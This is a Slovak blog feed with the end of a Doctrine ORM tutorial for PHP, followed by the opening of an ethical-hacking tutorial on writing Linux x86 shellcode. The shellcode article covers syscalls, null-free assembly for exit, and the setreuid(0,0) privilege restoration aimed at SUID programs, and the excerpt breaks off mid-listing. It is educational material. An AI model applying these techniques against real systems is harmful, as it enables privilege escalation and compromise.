<p>Aby ste mohli s databázou v doktríne pracovať ostáva nám urobiť ďalší dôležitý krok. Ako to už bolo spomenuté v odseku ORM, doktrína je vlastne vrstva ktorá robí program nezávislý od konkrétneho databázového stroja. Je jedno teda, či je to Postgresql, MySQL či Oracle. Je teda potrebné vytvoriť akúsi reprezentáciu databázy. No a v doktríne s databázou manipulujem prostredníctvom modelov &#8211; tried, odvodené od <em>Doctrine_Record</em>. Aby sme tieto modely nemuseli vytvárať ručne, Doctrine nám ponúka metódu, ktorá nám ich vygeneruje automaticky z databázy. Samozrejme odporúčam si tieto modely následne upraviť a skrášliť a napríklad namiesto <em>uzivatelSkupinaId</em> používať <em>skupina_uzivatela_id</em> a pod. A teraz samotný kód pre vygenerovanie modelov:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">generateModelsFromDb</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'models'</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'doctrine'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'generateTableClasses'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Metóda GenerateModelsFromDb vyžaduje len jeden parameter, a to je importný adresár (adresár, kde budú uložené vygenerované súbory). Druhým argumentom je pole mien databázových spojení pre ktoré sa vytvoria modely, a tretím argumentom sú jednotlivé predvoľby pre tvorbu modelov.<br />
A teraz ukážka modelu užívateľa:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">abstract <span style="color: #000000; font-weight: bold;">class</span> BaseUzivatel <span style="color: #000000; font-weight: bold;">extends</span> Doctrine_Record
<span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setTableDefinition<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">setTableName</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'tbl_Uzivatel'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelId as id'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'primary'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'autoincrement'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'6'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelMeno as uzivatelske_meno'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'string'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">32</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'string'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notnull'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notblank'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'32'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelHeslo as heslo'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'string'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">255</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'string'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notnull'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notblank'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'255'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelSkupinaId as skupina_uzivatela_id'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notnull'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'5'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelZmazany as zmazany'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'tinyint'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'tinyint'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notnull'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hasColumn</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'rolaId as rola_id'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'type'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'integer'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'1'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'notnull'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'length'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">'2'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">class</span> Uzivatel <span style="color: #000000; font-weight: bold;">extends</span> BaseUzivatel
<span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<h3>Použitie</h3>
<p>No a teraz poďme k nejakému príkladu. Budeme pritom pužívať vyššie uvedený model <em>Uzivatel</em></p>
<h4>Hľadám užívateľa (SELECT)</h4>
<p>Jendoducho chceme nájsť užívateľa podľa jeho mena. A tu je kód:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$uzivatelia</span> <span style="color: #339933;">=</span> Doctrine_Query<span style="color: #339933;">::</span><span style="color: #004000;">create</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
     <span style="color: #339933;">-&gt;</span><span style="color: #004000;">from</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Uzivatel'</span><span style="color: #009900;">&#41;</span>
     <span style="color: #339933;">-&gt;</span><span style="color: #004000;">where</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'uzivatelske_jmeno = ?'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$uzivatelske_jmeno</span><span style="color: #009900;">&#41;</span>
     <span style="color: #339933;">-&gt;</span><span style="color: #004000;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$uzivatelia</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$uzivatel</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$uzivatel</span> instanceof Uzivatel<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
          <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Nasli sme uzivatela s menom '</span><span style="color: #339933;">.</span><span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">uzivatelske_meno</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Jednoduché a prehľadné však? Lenže ono to ide ešte jednoduchšie (!):</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* Tento kod vrati prveho najdeneho uzivatela s danym menom */</span>
<span style="color: #000088;">$uzivatel</span> <span style="color: #339933;">=</span> Doctrine<span style="color: #339933;">::</span><span style="color: #004000;">getTable</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Uzivatel'</span><span style="color: #009900;">&#41;</span>
     <span style="color: #339933;">-&gt;</span><span style="color: #004000;">findByuzivatelske_jmeno</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$uzivatelske_jmeno</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #339933;">-&gt;</span><span style="color: #004000;">getFirst</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<h4>Vytvorenie nového užívateľa (INSERT)</h4>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$uzivatel</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Uzivatel<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">uzivatelske_meno</span>    <span style="color: #339933;">=</span> <span style="color: #000088;">$uzivatelske_meno</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">heslo</span>                <span style="color: #339933;">=</span> <span style="color: #000088;">$heslo</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">skupina_uzivatela_id</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">8</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">rola_id</span>              <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$uzivatel</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">save</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.bloog.sk/2009/10/25/doctrine-orm-pre-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Základy linuxového shellkódu</title>
		<link>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/</link>
		<comments>http://www.bloog.sk/2009/09/17/zaklady-linuxoveho-shellkodu/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 19:45:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Shellkód]]></category>

		<guid isPermaLink="false">http://www.bloog.sk/?p=261</guid>
		<description><![CDATA[Základné informácie o shellkóde a jeho zneužití. Ponúkam ukážky v assembleri a jazyku C.]]></description>
			<content:encoded><![CDATA[<p>Po prečítaní tohto článku budete schopný napísať svoj vlastný shellkód.</p>
<p>Výrazom shellkód sa označuje sebestačný kus binárneho kódu, ktorý vykoná nejakú úlohu. Úlohou môže byť čokoľvek, od spustenia systémového príkazu až na poskytnutie shellu útočníkovi (čo pôvodne bývala jediná úloha shellkódu, odtiaľ názov shell kód). Shellkód sa dá napísať v zásade troma rôznymi spôsobmi:</p>
<ul>
<li>Priamym zápisom kódov inštrukcií.</li>
<li>Napísaním programu v nejakom vyššom jazyku (napríklad C), prekladom a následným disassemblování (<a href="http://www.bloog.sk/category/assembler-a-cracking/disassembling/">viď článok</a>), ktorým dostanete kódy inštrukcií.</li>
<li>Napísaním programu v assembleri, jeho prekladom a prečítaním kódov inštrukcií z výsledného programu.</li>
</ul>
<p>Priame písanie kódov inštrukcií je trochu extrémny šport &#8211; my začneme písaním shellkódu pomocou C, ale rýchlo sa presunieme k assembleru. Tak ako tak budete musieť rozumieť nízkoúrovňovým funkciám pre čítanie, zápis a spúšťanie. Tieto funkcie poskytuje jadro, takže sa najprv v stručnosti pozrieme na komunikáciu medzi užívateľskými procesy a jadrom.</p>
<h3>Systémové volania</h3>
<p>Operačný systém slúži ako vrstva medzi používateľom (procesy) a hardvérom. Pre komunikáciu s operačným systémom slúžia tri základné nástroje:</p>
<ul>
<li>Hardvérové prerušenia, napríklad asynchrónny signál z klávesnice.</li>
<li>Hardwarové pasce, napríklad pokus o delenie nulou.</li>
<li>Softvérové pasce, napríklad požiadavka na spustenie procesu.</li>
</ul>
<p>Softvérové pasce sú pre etický hacking najdôležitejšie, pretože procesu umožňujú podľa potreby komunikovať s jadrom. Jadro užívateľovi poskytuje abstraktné rozhranie k základným funkciám systému, toto rozhranie sa skladá z takzvaných systémových volaní. Zoznam systémových volaní Linuxu a ich čísel nájdete v súbore <em>/usr/include/asm/unistd:</em></p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#ifndef _ASM_I386_UNISTD_H_</span>
<span style="color: #339933;">#define _ASM_I386_UNISTD_H_</span>
<span style="color: #808080; font-style: italic;">/*
 *  This file contains  the  system call  numbers.
 */</span>
<span style="color: #339933;">#define __NR_restart_syscall      0</span>
<span style="color: #339933;">#define __NR_exit		  1</span>
<span style="color: #339933;">#define __NR_fork		  2</span>
<span style="color: #339933;">#define __NR_read		  3</span>
<span style="color: #339933;">#define __NR_write		  4</span>
<span style="color: #339933;">#define __NR_open		  5</span>
<span style="color: #339933;">#define __NR_close		  6</span>
<span style="color: #339933;">#define __NR_waitpid		  7</span>
<span style="color: #339933;">#define __NR_creat		  8</span>
<span style="color: #339933;">#define __NR_link		  9</span>
<span style="color: #339933;">#define __NR_unlink		 10</span>
<span style="color: #339933;">#define __NR_execve		 11</span>
<span style="color: #339933;">#define __NR_chdir		 12</span>
<span style="color: #339933;">#define __NR_time		 13</span>
<span style="color: #339933;">#define __NR_mknod		 14</span>
<span style="color: #339933;">#define __NR_chmod		 15</span>
<span style="color: #339933;">#define __NR_lchown		 16</span>
<span style="color: #339933;">#define __NR_break		 17</span>
<span style="color: #339933;">#define __NR_oldstat		 18</span>
<span style="color: #339933;">#define __NR_lseek		 19</span>
<span style="color: #339933;">#define __NR_getpid		 20</span>
<span style="color: #339933;">#define __NR_mount		 21</span>
<span style="color: #339933;">#define __NR_umount		 22</span>
<span style="color: #339933;">#define __NR_setuid		 23</span>
<span style="color: #339933;">#define __NR_getuid		 24</span>
<span style="color: #339933;">#define __NR_stime		 25</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_setreuid		 70</span>
<span style="color: #808080; font-style: italic;">/* atd. atd. */</span>
<span style="color: #339933;">#define __NR_socketcall		102</span></pre></div></div>

<p>V ďalšej časti sa pozrieme, ako sa systémové volania používajú; začneme v C.</p>
<h4>Systémové volania v C</h4>
<p>V jazyku C sa systémové volania používajú ľahko, pretože sú obalené knižničným funkciami &#8211; stačí zavolať knižničnú funkciu a odovzdať jej vhodný počet parametrov. Signatúry funkcií najľahšie nájdete pomocou príkazu <em>man</em> &#8211; keby vás zaujímalo povedzme volanie <em>execve</em>, zadali by ste:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #007800;">$man</span> <span style="color: #000000;">2</span> execve</pre></div></div>

<p>Tento príkaz zobrazí nasledujúce stránku:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">EXECVE(2)                              Linux Programmer's Manuál       EXECVE(2)
NAME
                    execve - execute program
SYNOPSIS
                    #include 
                    int execve (const char *filename, char *const argv [], char *const envp[])
...</pre></div></div>

<p>V ďalšom texte si ukážeme, ako sa systémové volania dajú použiť priamo z assembleru.</p>
<h4>Systémové volania v assembleri</h4>
<p>Pri volaní systémových funkcií z assembleru musíte ručne naplniť registre. Do registra EAX sa ukladá číslo systémového volania (pozri výpis súboru unistd.h vyššie) a do registrov EBX, ECX, EDX, ESI a EDI postupne prvý až piaty parameter systémového volania. Ak je parametrov menej, príslušné registre nastavovať nemusíte. Keď je parametrov viac ako päť, musíte do pamäti uložiť ako pole, ktorého adresu potom odovzdáte v registri EBX.</p>
<p>Akonáhle sú registre nastavené, príkazom</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span></pre></div></div>

<p>vyvoláte softvérové prerušenie, jadro preruší svoju aktuálnu činnosť a začne spracovávať vašu požiadavku. Najprv si skontroluje správnosť parametrov, potom hodnoty registrov skopíruje do adresového priestoru jadra a podľa tabuľky prerušení (IDT: Interrupt Descriptor Table) prerušenie obslúži.</p>
<p>Celý proces najlepšie pochopíte na príklade, viď nasledujúci text.</p>
<h3>Systémové volanie exit</h3>
<p>Prvé systémové volanie, na ktoré sa pozrieme, jednoducho ukončí program. Má číslo 1 (pozri výpis súboru unistd.h vyššie), volá sa <em>exit</em> a v jazyku C mu zodpovedá funkcia <em>exit</em>. Má jediný parameter, ktorým je návratová hodnota programu. Keďže ide o náš prvý pokus so systémovými volaniami, začneme v C.</p>
<p>Systémové volania exit (0) v C zavoláte takto:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.c</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdlib.h&gt;</span>
main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Schválne si program skúste preložiť. Pri preklade pridajte parameter -static, aby bolo súčasťou výsledného programu aj telo funkcie exit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-static</span> <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span> exit.c</pre></div></div>

<p>Teraz si spustite gdb (parameter -q zapína tichý režim, v ktorom gdb nevypisuje úvodné texty), nastavte breakpoint na funkciu <em>main</em>, príkazom r spustite program a príkazom <em>disass _exit</em> si nechajte disassemblerovať funkciu <em>_exit</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ gdb exit  -q
(gdb)   b main
Breakpoint  1 at  0x80481d6
(gdb)   r
Starting program: /root/clanok/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function exit:
0x804c56c &lt;_exit&gt;	mov	0x4(%esp,1),%ebx
0x804c570 &lt;_exit+4&gt;	mov	$0xfc,%eax
0x804c575 &lt;_exit+9&gt;	int	$0x80
0x804c577 &lt;_exit+11&gt;	mov	$0x1,%eax
0x804c57c &lt;_exit+16&gt;	int	$0x80
0x804c57e &lt;_exit+18&gt;	hlt</pre></div></div>

<p>Ako vidíte, funkcia začína načítaním prvého parametra (v našom prípade nula) do registra EBX. Na riadku označenom ako _exit+11 sa do registra EAX uloží číslo systémového volania (0&#215;1) a potom dôjde k prerušeniu (<em>int $0&#215;80</em>). Všimnite si, že prekladač sám od seba pridal ešte volania funkcie <em>exit_group</em> (systémové volanie čísla Oxfc resp. 252) &#8211; ta funguje uplně rovnako ako <em>exit</em>, ale ukončí všetky vlákna v aktuálnej skupine. Toto volanie navyše pridali ľudia, ktorí pre našu konkrétnu linuxovou distribúciu balili libc. Vo väčšine prípadov sa hodí, ale my si v shellkóde nadbytočné volania funkcií dovoliť nemôžeme, a tak sa budete musieť naučiť písať shellkód priamo v assembleri <img src='http://www.bloog.sk/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<h4>Prechod k assembleru</h4>
<p>Jemný pohľad na vyššie uvedený koci funkcie exit prezradí, že nejde o žiadnu čiernu mágiu. To isté by ste pomocou assembleru ľahko dokázali urobiť sami:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> exit.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section <span style="color: #339933;">.</span>text <span style="color: #666666; font-style: italic;">; zacina kod programu</span>
global _start
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; označením začiatku si ušetríme problémy s linkerom</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span> <span style="color: #00007f;">ebx</span><span style="color: #666666; font-style: italic;">; bezpečná skratka pre vynulovanie registra EBX</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">al</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0x01</span><span style="color: #666666; font-style: italic;">; keď pracujeme len s jedným bajtom, vyhneme</span>
    <span style="color: #666666; font-style: italic;">; sa zarovnaniu na plných 32 bitov registra EAX (pozri text)</span>
<span style="color: #00007f; font-weight: bold;">int</span> <span style="color: #0000ff;">0x80</span><span style="color: #666666; font-style: italic;">; volanie jadra</span></pre></div></div>

<p>Volanie funkcie <em>exit_group</em> sme vynechali, pretože nie je potreba. Použitím príkazu <em>xor</em> na jeden a ten istý register sa obsah registra vynuluje. To je praktickejšie ako príkaz typu <em>mov ax, </em> pretože ten by do výsledného binárneho kódu vložil znak null, a náš shellkód by potom po uložení do reťazca končil predčasne. Z rovnakého dôvodu sa vyhýbame príkazu <em>mov eax, 0&#215;01</em>, pretože ten by hodnotu uloženú do registra automaticky zarovnal na veľkosť registra, výsledný hexadecimálny kód by bol <em>b8 01 00 00 00</em>, a reťazec so shellkódom by opäť skončil predčasne. Keď použijeme najnižšiu jednobajtovú časť registra EAX tak nedôjde k zarovnaniu čísla na štyri bajty.</p>
<h4>Preklad, zostavenie a testovanie</h4>
<p>Zostáva dať všetko dohromady. Zdrojový kód v assembleri môžeme preložiť pomocou NASM, zostaviť pomocou ld a konečne spustiť:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">nasm</span> <span style="color: #660033;">-f</span> elf exit.asm
$ <span style="color: #c20cb9; font-weight: bold;">ld</span> exit.o <span style="color: #660033;">-o</span> <span style="color: #7a0874; font-weight: bold;">exit</span>
$ .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span></pre></div></div>

<p>Moc sa toho nestalo, pretože sme jednoducho zavolali exit(0) a program ukončili. Našťastie máme ešte jednu možnosť, ako zistiť, čo presne sa v programe deje.</p>
<h4>Sledovanie pomocou strace</h4>
<p>Ak potrebujete overiť, aké systémové volania program volá, pomôže vám program strace:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strace</span> .<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>
execve <span style="color: #7a0874; font-weight: bold;">&#40;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span>.<span style="color: #000000; font-weight: bold;">/</span><span style="color: #7a0874; font-weight: bold;">exit</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>, <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">/*</span> <span style="color: #000000;">26</span> vars <span style="color: #000000; font-weight: bold;">*/</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = <span style="color: #000000;">0</span>
_exit <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> = ?</pre></div></div>

<p>Ako vidíte, program skutočne vykonal systémové volanie _exit(0). Skúsme teraz nejaké iné systémové volanie.</p>
<h3>Systémové volanie setreuid</h3>
<p>Cieľom nášho simulovaného útoku bude často nejaký SUID program. Dobre napísané SUID programy ale k väčším právam siahajú len vtedy, keď ich potrebujú &#8211; preto je často potrebné prepnúť na vyššie práva ručne. K tomu sa dá použiť systémové vo <em>setreuid</em>, ktoré dokáže obnoviť alebo nastaviť skutočné a efektívne oprávnenia procesu.</p>
<h4>Parametre volania setreuid</h4>
<p>Systémove volanie <em>setreuid</em> má číslo 70 (0&#215;46, pozri súbor <em>unistd.h</em> vyššie) a dva parametre. Prvý parameter (register EBX) je skutočné ID používateľa resp RUID (real user ID), v našom prípade nula (root). Druhý parameter, ktorý sa ukladá do registra ECX, je efektívne ID užívateľa resp EUID, ktoré je v našom prípade opäť nulové.</p>
<h4>Volanie z assembleru</h4>
<p>Systémové volanie <em>setreuid(0,0)</em> vykoná nasledujúci kód v assembleri:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> setreuid.asm</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">section<span style="color: #339933;">.</span> text<span style="color: #666666; font-style: italic;">; začiatok oddielu s kódom</span>
global _start<span style="color: #666666; font-style: italic;">; deklarácia globálneho návestia</span>
_start<span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">; aby linker nemusel hádať a nesťažoval si</span>
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span><span style="color: #666666; font-style: italic;">; vynulovať register EAX, aby sme ho mohli v ďalšom</span>
  <span style="color: #666666; font-style: italic;">; riadku nastaviť</span>
